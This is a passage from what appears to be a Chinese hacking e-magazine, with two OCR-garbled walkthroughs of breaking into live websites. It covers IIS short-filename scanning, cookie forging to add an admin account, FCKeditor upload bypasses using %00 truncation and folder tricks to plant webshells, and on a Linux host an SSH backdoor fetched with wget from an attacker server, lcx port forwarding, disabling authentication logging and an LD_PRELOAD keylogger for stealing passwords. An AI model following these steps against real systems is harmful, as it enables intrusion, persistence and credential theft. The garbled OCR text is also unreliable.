也发现后台了 http://www.xx.com.cn/xxadmin/ 打开跳转到 http://www.xx.com.cn/xxadmin/index.asp,如图 3-1-2:



## 图 3-1-2

这里有一个小插曲 由于当时在 XSS 里面拿到后台链接时直接就在浏览器里面打开

一打开就直接跳转到 http://www.xx.com.cn/xxadmin/index.asp 由于太粗心没有看到那个后 台地址后面还有一个 technology.asp?

什么的我还以为只是 login.asp 之类 没有细看 所以有了下面的东西。

以前修改 cookies 一般只要 login.asp 打开然后修改下 cookies 然后把 login.asp 改成 index.asp 就可以,可是这次不行本来就是 index.asp 而且试了 meum.asp left.asp main.asp 都不行各种 搜索都没有找到后台 asp 文件。

看了下是 IIS6.0 的于是想到用上次那个 IIS 短文件名利用工具于是输入如下代码:

java scanner 2 20 %1 http://www.xx.com.cn/xxadmin/

得到,如图 3-1-3、3-1-4:

IIS短域名文件利用工具, URL可以是\*\*.com或者\*\*.com/plus/ 请输入URL地址带上HTTP: http://www.warenews.cn/warendmin/ Target = http://www.warencom.cn/warendmin/ How much delay do you want after each request in milliseconds [default=0] Max delay after each request in milliseconds = 0 Do you want to use proxy [Y=Yes, Anything Else=No]? No proxy has been used. Scanning...

Dir: FCKEDI~1 File: CHECKU~1.ASP File: CHIOCE~1.ASP File: ADMINM~1.ASP File: BIOS\_L~1.ASP File: ARRAY\_~1.ASP File: NEWBUF~1.ASP File: MAINCL~1.A File: NEWCOM~1.ASP File: BUFFET~1.ASP File: COUNT\_~1.ASP File: COUNT\_~3.ASP File: NETWOR~1.ASP File: MAIN\_A~1.ASP File: COUNT\_~4.ASP File: NETWOR~2.ASP File: OTHER\_~2.ASP File: COUNT\_~2.ASP File: DISK\_L~1.ASP File: FUNDS\_~1.ASP File: PHOTO\_~1.ASP File: NEWPRO~1.ASP

LTTC .	DION_H I.HOI
File:	FUNDS_~1.ASP
File:	PHOTO_~1.ASP
File:	NEWPRO~1.ASP
File:	OTHER_~1.ASP
File:	LPRODU~1.ASP
File:	MEMORY~1.ASP
File:	TECHNO~1.ASP
File:	POWER_~1.ASP
File:	TECHNO~2.ASP
File:	OTHERD~1.ASP
File:	INCUPL~1.ASP
File:	PHOTO_~2.ASP
File:	PRODUC~1.ASP
File:	PRODUC~2.ASP
File:	ZBSL_A~1.ASP
File:	WSDG_A~1.ASP
File:	WF_ACT~1.ASP
12410-	DPDODIIM ACD

图 3-1-4

其它不容易猜,起码可以看到:

## File: ADMINM~1.ASP

图 3-1-5 应该是 adminmain.asp 的测试没错成功,如图 3-1-6、3-1-7:

第 19 页/共 122 页 官方微博: http://t.qq.com/hackcto

出版日期:每月15日 电子杂志:免费

. . .

www.web.com.cn/eeadmin/adminmain.asp

Б

	图 3-1-6
<i>₽</i> i	品管理 整机方案 自助方案 最新动态 关于我们 服务与技术 会员管理 订单管理 价格管理 代客户下单 质保管理 图片管理 欢迎登录管理后台: 管理员  后台访问统计  访问统计  修改密码  管理帮助  退出
管理员列表   添加管理员	
管理员	操作
800	管理权限 修改密码 删除
801	管理权限
802	<b>管理</b> 权限   修改密码   删除
803	管理权限 修改密码 難除
804	管理权限 修改密码 删除
805	<b>管理</b> 权限   修改密码   删除
806	管理权限 修改密码 删除
807	管理权限 修改密码 删除
808	曾建叔限 修改密码 删除
809	管理权限 修改密码 删除

图 3-1-7

PS: 当时太粗心了 不然直接用这个就可以, 如图 3-1-8、3-1-9:

www.ene.com.cn/ene.admin/Technology.asp

## 图 3-1-8



图 3-1-9

后来发现只要用这个就可以 白找这么久,不过在火狐上测试发现 cookies 只能持续一下你 再点上面其它东西都会直接跳转到登录界面,如图 3-1-10:

发送条件:	☑ 任意类型的连接 🔻
Http Only:	📝 No 🔻
过期时间:	at end of session 👻
	图 3-1-10

这样也不行,如图 3-1-11:

xxxx • •	
Http Only: 🔽	No 🔻
过期时间: 🔽	date ▼ June 28, 2013 15:12:54
	June        June     28     /     2013     15     :     12     :     54       # =     # =     # =     # =     # =     # =     # =

检测网址 1119//	con cn/x hin/adminmain asp?kc	ti escandi UUUA in Vietoo)	🔹 😒 🗘 🙆
Cookies #62 CMZIDATA2200080=cnzz_eid453 ASPSESSIDMIDOCCTOCDB: ASPS 300%25retime4530137225837183 27%2520aad#55201%3D1%2520ad	01702701046-1370417797-5.ttpx253A02 ESSIONIDCAAQDAAD=EFXIJBIDHCLFAPBF 28426x1x304261t1m=430137226837182 ADE520427427430427	S2FR2S2F++++++++++++++++++++++++++++++++	rtineX3D15; 288377%26cmz_XX %5PtypeX3DallX 修改
	(		A
	<b>#8</b> 89	理 整机方案   目助方案   最新动态   关于我们   服务与技术   会员管理   订单管理   价格管理   代客户下单   质保管理   图片管理 次迎亚示管理后台:管理员   后台访问纸计   访问纸计   修改密码   管理畅助   退出	
	曾理员列表  编辑管理员		
	¥0	内容	
	管理员帐号:	00	
	管理员姓名:	##	
		(注:若不够改密码,请方空* )	
	重复密码:	87	

图 3-1-12

加个管理员再说,如图 3-1-13:



图 3-1-13

于是弄到阿 D 里面成功 可以随便点击, 如图 3-1-12:

把权限都勾选上,如图 3-1-14

管理员列表	编辑管理员									
168					内穷					
安日 管理员帐·	<b>号:</b> 568				110					
							<b>.</b>		<b>-</b>	
管理权限分	2: MP品管理 M	✓ 整机方案 !	┙目助方案	▶□最新动态	☑服务与技术	✓ 关于我们	▶ 중員管理	☑订单管理	▶ ① 价格管理	▶️代客尸下单
	✓ 质保管理	✔ 代管订单								
	17212									

图 3-1-14

Ps: 下为编辑界面图一张, 如图 3-1-15:

項目	内容
主题	
摘要	ï
时间	2013 - 年 5 - 月 30 - 日
	□ 漆代時     □     □     ○     ● <t< td=""></t<>

图 3-1-15

起先试了网上几个关于 FCK 的 URL 都不行于是无意间点到了这里查看版本, 蛋疼的是版本 是 2.6.4.1, 很多漏洞都被补了, 如图 3-1-16:



图 3-1-16

因为是 IIS6.0 的所以考虑解析漏洞 不过漏洞已补新建 1.asp 会自动修改成 1\_asp,如图 3-1-17、3-1-18:

图象属性 图象 键接 上传 高级 地址 道服务器 目标 </th
图 3-1-17
Resource Type
<ul> <li>1 asp</li> <li< td=""></li<></ul>

正无果时百度了下乌云里面有人说可以用%00截断,如图 3-1-19

2011-03-23 00:49 | 霍家二爷 ( 实习白帽子 | Rank:63 漏洞数:7 | 我撸管这么牛逼还是没妞喜欢我)

http://seclists.org/pen-test/2010/Jul/0 截断呀截断

2012-10-25 23:36 | G8dSnow ( 实习白帽子 | Rank: 21 漏洞数: 5 | 一直在学习技术、分享知识的路上)

截断各处中招,xss和文件操作都有。。。伤不起。。。

图 3-1-19

又到到法客搜索 FCKeditor 文件上传"."变"\_"下划线的绕过方法,得到的结果,如图 3-1-20、 图 3-1-21:



<ul> <li>新手上路</li> <li>☆</li> <li>签到 5次</li> <li>贡献 0点</li> <li>金币 6个</li> <li>① 串个门 ◎ 加好友</li> <li>② 打招呼 ■ 发消息</li> </ul>	%00 截断上传,给我金币,我给你传视频教程
xlz0iza1	尾 发表于 2 小时前   只看该作者
注册会员 ☆☆ 签到 29次 贡献 0点 金币 10个 ① 串个门 ◎ 加好友 『 打招呼 ■ 发消息	burp可以突破截断改包啊。
Arel	🔽 发表于 2 小时前 🗌 只看该作者
高級会员 <b>ら</b>	截断
于是自己试下用火狐的插件 TAMF	图 3-1-22 PER DATA ,如图 3-1-23、3-1-24、3-1-25:



Tampe	r with request?
?	http://www.www.com.cn/www.dmin/FCKeditor/editor/filemanager/connectors /asp/connector.asp?Command=F Continue Tampering?
	Tamper Submit Abort Request
	图 3-1-24

第 24 页/共 122 页 官方微博: http://t.qq.com/hackcto 出版日期: 每月 15 日 电子杂志: 免费

Request Header Name	Request Header	Post Parameter Name	Post Parameter
Host	www.com.		*
User-Agent	Mozilla/5.0 (Wind	POST_DATA	67372374\r 👻
Accept	text/html,applical		
Accept-Language	zh-cn,zh;q=0.8,e		
Accept-Encoding	gzip, deflate		
Referer	http://www.		
Cookie	ASPSESSIONIDCC		

就是把. 改成 %00 确定后提交 就可以, 如图 3-1-26、3-1-27:



图 3-1-26

Foceditor - Resc	purces proviser - Proznia Hirefox (Build 2013051112080)	arowser.htm?Connector~http%3A%2F%	62Fwww.	毎月补
Resource Type File	J 🔄	🔌 Tamper Data - On	going requests	
	C1 1 aso	Start Tamper Stop Ta	imper Clear	Options
	1 aso	Filter		Show
	H201306271546575601.pg H201306271552054711.pg	Time	Total URL	
	F201306271553287763.atox:%00iog	16:11:30.680	2 266 ms P t http://www	w LO
	F1201306271554299688.asp;1%00pg F1201306271611382332.asp;1%00pg	16:11:32.387	8 826 ms t http://ww	w. 🥌 LO



菜刀连接成功,如图 3-1-28、3-1-29:





<ul> <li>▲: \www.root \\upfiles\file\</li> <li>目录(2), 文件(4)</li> <li>名称</li> <li>町间</li> <li>○ D:</li> <li>○ www.root</li> <li>○ upfiles</li> <li>○ upfiles</li> <li>○ 1_asp</li> <li>2013:06:27 15:46:1</li> <li>○ 1_asp</li> <li>2013:06:27 15:46:5</li> <li>○ 1_asp</li> <li>○ 11_asp</li> <li>○ 013:06:27 15:52:054711.jpg</li> <li>○ 013:06:27 15:53:2</li> <li>○ F1201306271552054711.jpg</li> <li>○ 013:06:27 15:53:2</li> <li>○ F1201306271554299688.asp;1%00jpg</li> <li>○ 013:06:27 15:54:2</li> <li>○ F1201306271554299688.asp;1%00jpg</li> <li>○ 013:06:27 15:54:2</li> </ul>	🔲 中国菜刀@20100928 📄 http://www	M. emer m. cn/upf +	
目录 (2), 文件 (4)       名称       时间         ○ C:       □ 1_asp       2013-06-27 15:46:1         ○ D:       □ 1_asp       2013-06-27 15:46:3         □ ① wwwroot       □ 1_asp       2013-06-27 15:46:3         □ ① pfiles       □ 1_asp       2013-06-27 15:52:0         □ ① file       □ 1_asp       2013-06-27 15:52:0         □ □ file       □ 1_asp       2013-06-27 15:54:2         □ □ file       □ 1_asp	🚞 d:\wwwroot		土 🖌 诸
<ul> <li>C:</li> <li>D:</li> <li>□ upfiles</li> <li>□ 1_asp</li> <li>2013-06-27 15:46:1</li> <li>□ 1_asp_</li> <li>2013-06-27 15:46:3</li> <li>□ F1201306271546575601.jpg</li> <li>2013-06-27 15:52:0</li> <li>□ F1201306271552054711.jpg</li> <li>2013-06-27 15:52:0</li> <li>□ F1201306271553287763.aspx:%00jpg</li> <li>2013-06-27 15:54:2</li> <li>□ F1201306271554299688.asp;1%00jpg</li> <li>2013-06-27 15:54:2</li> <li>□ F1201306271554299688.asp;1%00jpg</li> <li>2013-06-27 15:54:2</li> </ul>	日录 (2), 文件 (4)	名称	时间
	<pre>     C:     D:     D:     file     file     file     1_asp     E:     F:     G:     H: </pre>	<ul> <li>1_asp</li> <li>1_asp_</li> <li>1_asp_</li> <li>Fl201306271546575601.jpg</li> <li>Fl201306271552054711.jpg</li> <li>Fl201306271553287763.aspx;%00jpg</li> <li>Fl201306271554299688.asp;1%00jpg</li> </ul>	2013-06-27 15:46:1 2013-06-27 15:46:3 2013-06-27 15:46:5 2013-06-27 15:52:0 2013-06-27 15:53:2 2013-06-27 15:54:2

由于自己也正要测试 fiddler 与 burp suite 所以一起记录下。

## 方法二:

使用 burp suite 突破 fckeditor,就是论坛中说的双文件法突破,如图 3-1-30:

Explorer 用户提示	X
脚本提示: Type the name of the new folder:	
3. asp	Security Team

然后,来到burp suite,看看数据包,定位到8.asp文件夹信息相关处:

Command=CreateFolder&Type=Image&CurrentFolder=%2F\*NewFolderName=8.asp&p

我们看到8.asp还是8.asp,没有变成8\_asp,也就是说我的猜测是错误的,不是本地变得。 但是,该处除了有NewFolderName,还有CurrentFolder,%2F即 / 。想到了双文件加突破的方法。于是。。我想到了把CurrentFolder的值改为 由 / 改为 /8.asp。。

<mark>reateFolder</mark>&Type=Image<mark>:</mark>CurrentFolder=/8.asp

然后转发,查看返回结果:

图 3-1-30

我试了下用 TAMPER 插件不行抓不到这个信息 不过还没装 burp suite 于是试下 fiddler,如 图 3-1-31、3-1-32:

			) 统计 🚮	吳孫
自动断点(S)	Þ	● 请求之前(B)	) F11	έw
自定义规则 <mark>(R)</mark>	Ctrl+R		) Alt+F11	
		禁用(D)	Shift+F11	
采用GZIP编码(Z)		✔ 忽略图片(I)		
	图 3-1-3	31		

<ul> <li>2 asp</li> <li>3 asp</li> <li>8 asp</li> <li>a asp</li> <li>Fl201306271546575601.jpg</li> <li>Fl201306271552054711.jpg</li> <li>Fl201306271553287763.aspx:%00ir</li> <li>Fl201306271554299688.asp:1%00ir</li> <li>Fl201306271611382332.asp:1%00ir</li> </ul>	Type the name of the new folder: 11. asp 确定 取消
Create New Folder	new file in this folder 闭觉…

可以发现是红色的 说明断了,如图 3-1-33:

🖇 Fidd	er - http	p://	com/ctfy	sj		-		-		_	
文件(F)	编辑(E)	) 设置(R)	工具(T)	视图(V)	帮助(H)						
🎾 注释	∽ 刷新	Ⅹ移除・	▶ 全部恢	复 🕏 流	計查找	🔜 保存	启	动 IE	◈ 清除	存 🎌 编码器	📙 脱离 M
		W	eb会话(S)			<	6	统计	🧱 嗅疹	4 自动响应	😗 请求构词
+	状态	协议		主机	URL		Н	eaders	TextVie	WebForms	HexView
0		HTTP	www.	<mark>∧ co</mark> m.cn	/ admi	in/FCKeditor	/ec			I Webronna	
							F	Name		Value	
							•	Comma	nd	CreateFolder	
								Type		File	
								Curre	ntFolder	1	
								NewFo	lderName	11. asp	
								uuid		1372321770354	
							*	ŧ			

图 3-1-33

修改 currentFolder 为 /1.asp,如图 3-1-34:

ジ注释	◆ 刷新	×移除・	▶ 全部恢复 🔹 流	治查找 🔜 保存 🔏	●启动 IE 《读清》	除緩存、大编码器	上 脱离 ।	MSDN 搜索		🕜 帮助
		W	leb会话(S)	<<	O thit	嗅探 🖌 自动响风	な 📽 请求権	油 门 讨论	888 - Timelin	e
=	状态	协议	主机	URL	Headers Tex	tillew DilebEarm	Herview	Auth	aw XM	-
0	•	HTTP	www.com.cn	min/FCKeditor/et	Theorem 1 income	Theorem	- Incontent		and Lyon	1. 
					Name	Value				
					Conmand	CreateFolder				
					Type	File				
					CurrentFold	ier /1.asp				
					NewFolderNa	me 11.asp				
					uuid	1372321770354				
					*					
					Breakpoint hit.	Tamper, then:	Break on Resp	ponse Run	to Completion	Choose Respo
					Transformer	Headers TextVie	ew ImageVie	w HexView	w WebView	Auth Ca
					Transforms					
				冬	3-1-34					

ы **3** 

点全部恢复,如图 **3-1-35**:

🗲 Fidd	er - htt	p://	1.10	sj			
文件(F)	编辑(E	) 设置(R)	工具(T)	视图(V)	帮助(H)		
≫注释	∽ 刷新	★移除・	▶ 全部恢	复 💺 流	計 查找	🔜 保存	倉息
		W	标复当前	信止左断占	的版本。	Ebreaknoi	ate 0
#	状态	协议	区复当时	王机		doreakboi	He He
0	-	HTTP	WWW	com.cn	/verentimi	n/FCKedito	r/ed

图 3-1-35

这里要注意 点全部恢复一次后会弹出一个下面的栏。再在里面修改 currentfolder 为 aa.asp 刚才弄错了所以重弄,如图 3-1-36:

文件(F)	编辑(E	) 设置(R)	工具(T) 视图(V)	帮助(H)						
🎾 注释	∽ 刷新	×移除・	🕨 全部恢复 🌲 流	計 查找	🔜 保存	6月 😸	b IE 🍕	》	字 🎌 编码器	☑ 脱离 M
		W	eb会话(5)		<	6	24i+	誕 嗅探	<b>《</b> 白汞加南成	
#	状态	协议	主机	URL	7.5	Her	dere	Textiliou	WebForme	Havilian
• 0	200	HTTP	www.eme.com.cn	/www.admir	/FCKeditor	/ed		Textview	J webPorms	nexview
1	200	HTTP	www.com.cn	/vendmir	h/FCKeditor	/et				
2	200	HTTP	www.seem.cn	/ dmir	h/FCKeditor	/et	Name	1	alue	
93	200	HTTP	task.browser.360.cn	/online/set	point		Comman	d G	etFoldersAndF	Files
1 4		HTTP	www.weencom.cn	- admir	h/FCKeditor	/ed	Гуре	F	ile 🛛	
			Charles and the second second second	-		1	Curren	tFolder /	аа. авр	
							uuid	1	372321908882	
						*				

图 3-1-36

再点全部恢复 OK 成功, 如图 3-1-37:



在 8.asp 里面传一句话图片马 upfiles/file/8.asp/Fl201306271633432192.jpg 菜刀连接 http://www.xx.com.cn/upfiles/file/8.asp/Fl201306271633432192.jpg,如图 3-1-38:



图 3-1-38

方法三:

试下用 burp suit 切到 JAR 目录下 运行 java -jar burpsuite\_pro\_v1.4.07.jar 就可以。 火狐里面配置一下,如图 3-1-39

吊规 怀金式闪见 闪谷 应用柱序 隐私 女主 问步	向纵
常规 数据选择权 网络 更新 加密	
	-
	E)
连接设置	x
2. 网络访问网络网络伊伊	
◎ 目动检测此网络的代理设置(W)	
◎ 使用系统代理设置(U)	_ h
◎ 手动配置代理:( <u>M</u> )	
HTTP代理:(X) 127.0.0.1 端口:(P) 8080	
□ 为所有协议使用相同代理(5)	

图 3-1-39

默认就是 ON 的就是默认已经在监听了 所以每点一下都会被截取到 中间截取过程显示待 空白页于是按 forward, 如图 3-1-40:

2	V revenue: - vesources	BIOWSEI - MOZINA FILETOX (DUNU 201.		ochi ohi	una matury	
	🕘 about:blank		requ	est to http://w	ww	n:80 [1
	Resource Type File	<u>_</u> ,	f	orward	drop	intercept is on action
			raw	params	headers	iex
I			GET			
I			/	min/F	CKeditor/ed	itor/filemanager/connecto
I			٤Cu	rentFold	ler=%2F&uuid	=1372323616354 HTTP/1.1
I			Host	: 000.	.cn	
			Usei	-Agent:	Mozilla/5.0	(Windows NT 5.1; rv:21.0
I			Acce	ept: text	/html,appli	cation/xhtml+xml,applicat
I			Acce	ept-Langu	age: zh-cn,	zh;q=0.8,en-us;q=0.5,en;q
I			Acce	ept-Encod	ling: gzip,	deflate
I			Refe	erer:		
I			htt	)://www.	n.cn/	in/FCKeditor/edito
			\$31	2F%2Fwww		n%2F
		图 3-	1-40			

直到出现 再新建文件夹, 如图 3-1-41

н

	Type the name of the new folder: 5. asp
	确定
Create New Folder	pload a new file in this folder ③ ③ 光…

图 3-1-41

点 forward 后出现这个,如图 3-1-42

request to http://www.com.cn:80 [1-10-10]
forward drop intercept is on action
raw params headers hex
<pre>SET /defadmin/FCKeditor/editor/filemanager/connectors/asp/connector.asp?Con ntFolder=%2F&amp;NewFolderName=5.asp&amp;uuid=1372323694317 HTTP/1.1 Host: www.m.com.cn User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:21.0) Gecko/20100101 Firefo: Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Referer: http://www.mccrom.cn/mccdmin/FCKeditor/editor/filemanager/browser/de %3A%2F%2Fwww.mccrom.cn/mccdmin/FCKeditor/editor%2Feditor%2Ffilemanagers p Cookie: ASPSESSIONIDCCCTCCDB=LHABPFNBAPABPMOOGHOHEFGC; Admin=568; URL=%2Fmarket%2Fproduct%2Fcpuprice%5Flist%2Easp%3Fcpy%5Ftype%3Dall Connection: keep-alive</pre>

%2f 就是 / 的意思

于是修改下,如图 3-1-43:

	forward drop intercept is on action
-	raw params headers hex
	GET / <b>Connectors/asp/connector.asp?Connectors/asp/connector.asp?Connector.asp</b>
	ntFolder=%2F5.asp&NewFolderName=5.asp&uuid=1372323694317 HTTP/1.1 Host: www.energym.cn

图 3-1-43

点两下后成功了,如图 3-1-44

FCKeditor - Resource	s Browser - Mozilla Firefox (Build 201:	intercept	options	history			
🕘 about:blank							
Resource Type File	<u></u> ,	forwar	d	drop	intercept is on	actio	n
		raw pa	rams he	aders	hex		
	<u>lasp</u> <u>5.asp</u> <u>Fl201306271611382332.asp;1%00jpq</u>						
	图 3	-1-44					
	· · · · · · · · · · · · · · · · · · ·						

<sup>(</sup>全文完)责任编辑:随性仙人掌

## 第5节 Linux 内网渗透的思路

作者: Chaplin

来自:法客论坛 - F4ckTeam

网址: http://team.f4ck.org/

一. 漏洞发现:

因为网站较多,就先用 wvs 扫一遍、然后等结果

确实有些缺陷,用网站弱口令来进行测试,如图 3-1-1:

Scan Results	Status	
□       isy       Scan Thread 1 (http://2         isy       Web Alerts (283)         isy       isy       Cross Site Scripting (verified) (22)         isy       isy       jQuery Cross Site Scripting (5)         isy       isy       Slow HTTP Denial of Service Attack (1)         isy       isy       Unicode transformation issues (27)         isy       isy       Weak Password (2)	Finished (283 alerts)	<u> </u>
//cms/index_cms.jsp		

图 3-1-1

并且能成功的登陆后台,如图 3-1-2:(前期用 google 浏览器无法直接登陆,换 IE 即可)



图 3-1-2

## 二. 突破上传:

正常情况下是无法进行上传.jpg,gif,png之外的文件,使用 burp suite 来进行突破上传,方法 很简单,截断上传即可,如图 3-1-3,图 3-1-4:



图 3-1-3

. #	host	method	URL		mod	status
6	nttp://update.duomiyy.com	1 GET	/update.do/ver=duomi_0.3.8.0&pos=2012&pid=994	1		200
7	http://: 07.83	GET	/jcms/script/fileupload/images/progress.gif			200
8	http://: 07.83	POST	/jcms/m_5_3/picture/opr_pic_subgroup_load.jsp?fil			200
9	http://: 07.83	GET	/jcms/script/fileupload/common/css/abundant/windo	1		200
0	http://: 07.83	GET	/jcms/m_5_3/picture/que_pic_choose.jsp?classid=0			200
1	http://prom.guho.kuaibo.c	GET	/icons/Qvod Plaver.is?v=20130815	1		304
rav	v params headers	hex				
Con	eifeifgLf tent-Disposition:	cH2GI3G form-da	I3GI3aeOKM7GI3 :a; name="Filename"			

## 三. 安装后门:

进入系统后,我的 RP 是如此滴多娇,如此滴辉煌,竟然是 root 权限,如图 3-1-5:

[/data/tomcat/webapps/jcms/jcms/jcms\_files/jcms1/web27/site/picture/0/]\$ whoami root

图 3-1-5

## 查看下 passwd 账号信息, 如图 3-1-6:



图 3-1-6
目录树结构,如图 3-1-7:



图 3-1-7

因为既然要内网渗透,权限可能会随时丢失,下面就先安装个 ssh 后门,本来是想安装 pam 后门呢,因为所有账号登陆服务器时都要验证 pam 模块,而 pam 后门刚好可以截取用户密码,但是呢,看他内核是(Linux jcms 2.6.32-71.el6.i686 #1 SMP Wed Sep 1 01:26:34 EDT 2010 i686 i686 i386 GNU/Linux)肯定是 redhat/centos6 的系统、事实胜于雄辩,如图 3-1-8:



图 3-1-8

确实是 6.0 的,而且还是 redhat 企业版操作系统,有点头疼了,至于为什么?一会你就知道了,下面安装 openssh 后门。

一. 下载并解压后门

下载并解压,如图 3-1-9:

[/tmp//]\$	wget http://	5/	tu/fuck/ssh	bd. gz		
2013-08-15 正在连接 216 已发出 hTTP i 长度: 902675 正在保存至:	21:42:12 http 5:80. 青求,正在等待回应 (882K) [applicat "sshbd.gz"	:// 已连接。 5. 200 OK ion/x-gzip]	85/tu/f	uck/sshbd.g		
0K 50K 150K 250K 250K 300K 350K 400K 400K 450K 550K 550K 600K 550K 850K 850K 850K					5% 11% 22% 28% 39% 45% 51% 62% 68% 68% 73% 85% 90% 100%	118K 7s 366K 4s 416K 3s 582K 3s 608K 2s 759K 2s 257K 2s 257K 2s 220M 1s 220M 1s 220M 1s 345K 1s 2.18M 0s 1.70M 0s 1.54M 0s 1.54M 0s 280K 0s 220M=1.6s
2013-08-15 21 [/tmp//]\$ sshbd.gz [/tmp//]\$ openssh/versi openssh/versi openssh/radix	:42:14 (564 KB/s ls tar xvf sshbd.gz ion.h t.c	) - 已保存	" sshbd. gz "	[902675/9	02675	5])

二. 后门编译:

如图 3-1-10, 图 3-1-11, 图 3-1-12:



图 3-1-10

[/tmp/.../openssh/]\$ ls /etc/ssh/ moduli ssh\_config sshd\_config ssh\_host\_dsa\_key ssh\_host\_dss\_key.pub ssh\_host\_key ssh\_host\_key.pub ssh\_host\_rss\_key ssh\_host\_rss\_key.pub [/tmp/.../openssh/]\$ mv /etc/ssh/sshd\_config /etc/ssh/sshd\_config old [/tmp/.../openssh/]\$ mv /etc/ssh/ssh\_config /etc/ssh/ssh\_config old /tmp/.../openssh/]\$ make

图 3-1-11

/etc/ssh//ssh\_host\_key already exists, skipping /etc/ssh//ssh\_host\_dsa\_key already exists, skipping /etc/ssh//ssh\_host\_rsa\_key already exists, skipping id\_sshd || \ echo "WARNING. Privilege separation user \"sshd\" does not exist" uid=74(sshd) gid=74(sshd) 鎖=74(sshd)

编译成功,现在是内网环境,我必须要把 ssh 的 22 端口给映射出来,对嘛、再加上是 root 权限,比较幸福咯。 三. 端口转发: 前提必须有个公网 IP 的服务器, 先把 Icx 传到服务器准备一下, 如图 3-1-13: . Dastire . TESSIISC . 5511/ [root@msf tu]# cp ~/lcx fuck/ [root@msf tu]# cd !\$ cd fuck/ [root@msf fuck]# ]s lcx pam\_unix\_64.so pam\_unix\_64.tar.gz ssh.gz
[root@msf fuck]# tar zcvf lcx.tar.gz lcx lcx. [root@msf fuck]# ls -al lcx -rwxr-xr-x 1 root root 17149 Aug 15 09:43 lcx [root@msf fuck]# ./lcx -m 2 -p1 80% p2 550 binding port 8088.....ok binding port 550.....ok waiting for response on port 8088.... 图 3-1-13 本地监听端口, 如图 3-1-14: [root@msf fuck]# 1s -al lcx -rwxr-xr-x 1 root root 17149 Aug 15 09:43 lcx [root@msf fuck]# ./lcx -m 2 -p1 8088 -p2 550 binding port 8088.....ok binding port 550.....ok waiting for response on port 8088..... accept a client on port 8088 from 200, waiting another on port 550... **就绪** ssh2: AES-256-CTR 17, 1 17行, 80列 VT100 大写 数字 /tmp/.../openssh/]\$ wget http://2 85/tu/fuck/lcx.tar.gz -2013-08-15 21:51:09-- http://2 E在连接 21-94-985:80... 已连接。 已发出 HTTP 请求,正在等待回应... 200 OK 长度: 7075 (6.9K) [application/x-gzip] E在保存至: "lcx.tar.gz" 85/tu/fuck/lcx.tar.gz 100% 43.8K=0.2s 2013-08-15 21:51:09 (43.8 KB/s) - 已保存 "lex.tar.gz" [7075/7075]) /tmp/.../openssh/]\$ tar xvf lcx.tar.gz /tmp/.../openssh/]\$ chmod +x lcx /tmp/.../openssh/]\$ ./lcx -m 3 -h1 21/00/00/85 -p1 8088 -h2 127.0.0.1 -p2 青稍候

图 3-1-14 第一次搭配出错了,再来,搭配成功,如图 3-1-15:

图 3-1-15

# 四.修改日志记录:

因为所做的操作都有可能被记录在日志里面,我事先就先把日志给注释掉咯,如图 3-1-16:

#### GLOBAL DIRECTIVES #### # Use default timestamp format \$ActionFileDefaultTemplate RSYSLOG\_TraditionalFileFormat # File syncing capability is disabled by default. This feature is usually not required, # not useful and an extreme performance hit #\$ActionFileEnableSync on #### RULES #### # Log all kernel messages to the console. # Logging much else clutters up the screen. #kern.\* /dev/console # Log anything (except mail) of level info or higher. # Don't log private authentication messages! \*.info;mail.none;authpriv.none;cron.none /var/log/messages # The authoriv file has restricted access #authoriv.\* /var/log/secure 🖌 🔺 # Log all the mail messages in one place. mail.\* -/var/log/maillog # Log cron stuff cron.\* /var/log/cron # Everybody gets emergency messages \*.emerg # Save news errors of level crit and higher in a special file. /var/log/spooler # Save boot messages also to boot.log local7.\* /var/log/boot.log





可惜的是,没有一个能够登陆上,检查 kerberos 也没信息,rsync 也没安装, Mount 也没远 程挂在任何命令,在 history 里面查看到经常登陆的 IP, 如图 3-1-19, 图 3-1-20, 图 3-1-21:

```
[logging]
 default = FILE:/var/log/krb5libs.log
kdc = FILE:/var/log/krb5kdc.log
admin_server = FILE:/var/log/kadmind.log
[libdefaults]
 default_realm = EXAMPLE.COM
 dns_lookup_realm = false
 dns_lookup_kdc = false
 ticket_lifetime = 24h
renew_lifetime = 7d
 forwardable = true
[realms]
 EXAMPLE.COM = \{
  kdc = kerberos.example.com
   admin_server = kerberos.example.com
 3
[domain_realm]
 .example.com = EXAMPLE.COM
 example.com = EXAMPLE.COM
~
~
```

```
图 3-1-19
```

[root@jcms ~]# mount	
/dev/sda13 on / type ext4 (rw)	
proc on /proc type proc (rw)	
sysfs on /sys type sysfs (rw)	
devpts on /dev/pts type devpts (rw,gid=5,mode=620)	
<pre>tmpfs on /dev/shm type tmpfs (rw,rootcontext="system_u:ob</pre>	ject_r:tmpfs_t:s0")
/dev/sdal on /boot type ext4 (rw)	
/dev/sda12 on /data type ext4 (rw)	
none on /proc/sys/fs/binfmt_misc type binfmt_misc (rw)	
sunrpc on /var/lib/nfs/rpc_pipefs type rpc_pipefs (rw)	Security Team
[root@jcms ~]#	

1s -1	
ifconfig	
ping 10.149.100.1	
ping www.baidu.com	
pring www.bardu.com	
export LANG=2n_CN	
second Lang the Ch	
export LANG=ZIT_CN	
Sect 10 140 100 152	
sh 10 149 100 153	
export LANGEZH CN	
Setup	
export LANG=zh CN	
setup	
ifconfig	
cd /etc7	
ls	
cd /etc/sysconfig/	
ls	
cd /etc/sysconfig/network-scripts/ ls	
cat ifcfg-0	
cat ifcfg-eth0	
ifconfig	
ssh 10.149.100.153 -	
telnet 5678	
ssh Internet and B	
ssh 10.149.100.153	
dir	
export Lang=zh_CN	
set 10 140 100 152	
530 10.149.100.133	
cop ps_ef   gren java	
kill -9 19061	
/data/tomcat/bin/startup.sh	
ps -ef   grep java	
kill -9 9342	
/data/tomcat/bin/startup.sh	
ps -ef   grep java	
?cd	
cd /data/tomcat/webapps/	
IS	
La / uata/tumcat/	
13	606 H 1 206 H

图 3-1-21

哎!都没什么希望,进行下一步吧。

### 六.键盘记录:

我比较喜欢 LD\_keylog 非本地记录,可以记录在本机 ssh, rsync, su 的所有操作,国内这东 西很少,大家见识下吧,如图 3-1-22:

\*/ Author: Matias Fontanini \*/ #define\_xoPEN\_SOURCE 600 #include scidio.h #include scidio.h #include scidio.h #include scidio.h #include scysite.h #include scysite.

[root@jcms [root@jcms	S LD_PR	ELÓAD_key ELOAD_key	logger]# source /etc/p logger]# su - bin	rofile								
